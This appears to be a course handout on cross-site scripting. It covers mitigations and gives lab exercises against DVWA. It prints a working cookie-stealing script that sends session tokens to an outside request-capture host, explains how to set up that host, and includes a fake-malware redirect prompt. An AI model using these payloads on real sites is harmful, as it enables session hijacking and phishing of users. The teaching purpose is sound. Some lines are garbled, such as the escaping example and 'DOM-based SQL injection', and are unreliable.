VotD: Cross-site Scripting (XSS)

Description. See **CWE-79** (https://cwe.mitre.org/data/definitions/79.html)

Examples: Use the XAMPP installation as described in the **web applications** (https://uncw.instructure.com/courses/16302/pages/activity-web-application-setup) activity.

Mitigations:

- Defense in depth: Perform thorough input validation. Accept only "known good"; use a white list of acceptable inputs.
- Converting HTML characters to their escaped form (e.g. < to <) is the safest approach. Only allowing some input is a good idea, but sometimes you want certain characters to be allowed and escaping allows for that flexibility.
- **However!** Knowing which characters to escape is very tricky. Check out how complicated it is at **OWASP's XSS Cheat Sheet** (https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet).
- Use a library for handling this. Understand how this library works (is it regexes, parsing to HTML, etc?). A great example of a library that mitigates XSS for Python webapps (such as Django or Flask) is **Mozilla's bleach library** (https://github.com/mozilla/bleach).

Notes

- Widely considered among the most dangerous vulnerabilities today. XSS vulnerabilities have affected GMail, Twitter, Facebook, Hotmail, Yahoo Mail, and just about every other major web application out there.
- Executing Javascript on another person's machine can result in a vast number of exploits. In every case, the asset of cross-site scripting is the user interface. The two main exploits of XSS are:
  - *session hijacking*, where you steal the authentication token from the victim's cookie and use it to log in. For example:

    ```
    <script>
    x = new XMLHttpRequest();
    x.open("GET", "http://requestbin.fullcontact.com/1ccheey1?s=" + document.cookie, true);
    x.send();
    </script>
    ```

    Try this on the XSS Reflect page in DVWA. This is a silent AJAX call to a remote site, which an attacker then monitors anonymously, stealing your authentication token. Having the authentication token gives the attacker the ability to log in as the victim (as long as they stay logged in). From there, the attacker can can reset passwords, set up other accounts, set up permanent scripts, anything.
  - You can create your own site to capture requests too. Go to **https://requestbin.fullcontact.com** (https://requestbin.fullcontact.com) and click the "Create Request Bin". Copy the Bin URL and replace the url in the example above -- leave the '?s=' at the end:

- *web defacement*, where you can modify the page to serve something malicious. Consider the code below, which raises an alert claiming the website has been compromised. Try this on the XSS Stored page.

```
<script>if (window.confirm('This website contains malware. Click "OK" to go to the safe version!'))
{
window.location.href='https://www.google.com/chrome/browser/index.html';
};</script>
```

  You could also inject an additional form field onto the website to try to collect a user's password, then send it off to a bad site.

- A good discussion of XSS, including some fascinating historical exploits, is on the **Ruby on Rails security page (http://guides.rubyonrails.org/security.html#cross-site-scripting-xss)** .
- Note that XSS does not always have to be done inside <script> tags, it can be done in CSS injection, inside image metadata, and in many other situations. There's even **DOM-based SQL injection, with its own massive cheat sheet. (https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet)**
- Try this exploit on the XSS (Reflected) page in DVWA:

```
<canvas id=c><script>C=c.getContext('2d');f=C.fillRect.bind(C);
S=[-1,I=J=0];A=B=210;X=Y=1;
function g(n){++S[n];N=Math.random(M=n*613+9)*471}D=document;
D.onkeydown=D.onkeyup=function(e){d=!!e.type[5];k=e.keyCode;
k&1?I=k&16?d:-d:J=k&4?-d:d};
g(0);setInterval(function(){A-=A<I|A>420+I?0:I;
B-=B<J|B>420+J?0:J;
M+=X;N+=Y;
N<0|N>471?Y=-Y:0;
M==622&N>B&N<B+51|M==9&N>A&N<A+51?X=-X:M>630?g(0):M||g(1);
f(0,0,c.width=640,c.height=480);
C.fillStyle='tan';C.font='4em x';C.fillText(S,280,60);
f(0,A,9,60);f(631,B,9,60);f(M,N,9,9)},6)</script>
</canvas>
```